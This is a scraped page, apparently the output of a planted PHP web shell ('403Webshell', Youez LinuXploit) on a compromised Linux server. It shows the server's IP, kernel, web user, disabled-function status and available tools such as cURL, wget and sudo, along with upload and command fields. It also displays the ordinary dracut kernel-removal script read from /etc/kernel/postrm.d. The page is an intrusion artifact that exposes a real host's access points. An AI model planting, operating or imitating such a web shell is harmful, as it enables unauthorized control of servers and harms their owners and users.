403Webshell
Server IP : 178.105.222.151  /  Your IP : 216.73.216.38
Web Server : nginx/1.28.3
System : Linux MNK 7.0.0-15-generic #15-Ubuntu SMP PREEMPT_DYNAMIC Wed Apr 22 16:06:43 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.5.4
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /etc/kernel/postrm.d/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /etc/kernel/postrm.d/dracut
#!/bin/sh

version="$1"
bootdir=/boot

# passing the kernel version is required
[ -z "${version}" ] && exit 0

# absolute file name of kernel image may be passed as a second argument;
# remove the initrd from the same directory
if [ -n "$2" ]; then
	bootdir=$(dirname "$2")
fi

# avoid running multiple times
if [ -n "$DEB_MAINT_PARAMS" ]; then
	eval set -- "$DEB_MAINT_PARAMS"
	if [ -z "$1" ] || [ "$1" != "remove" ]; then
		exit 0
	fi
fi


# delete initramfs
rm -f "$bootdir/initrd.img-${version}"

Youez - 2016 - github.com/yon3zu
LinuXploit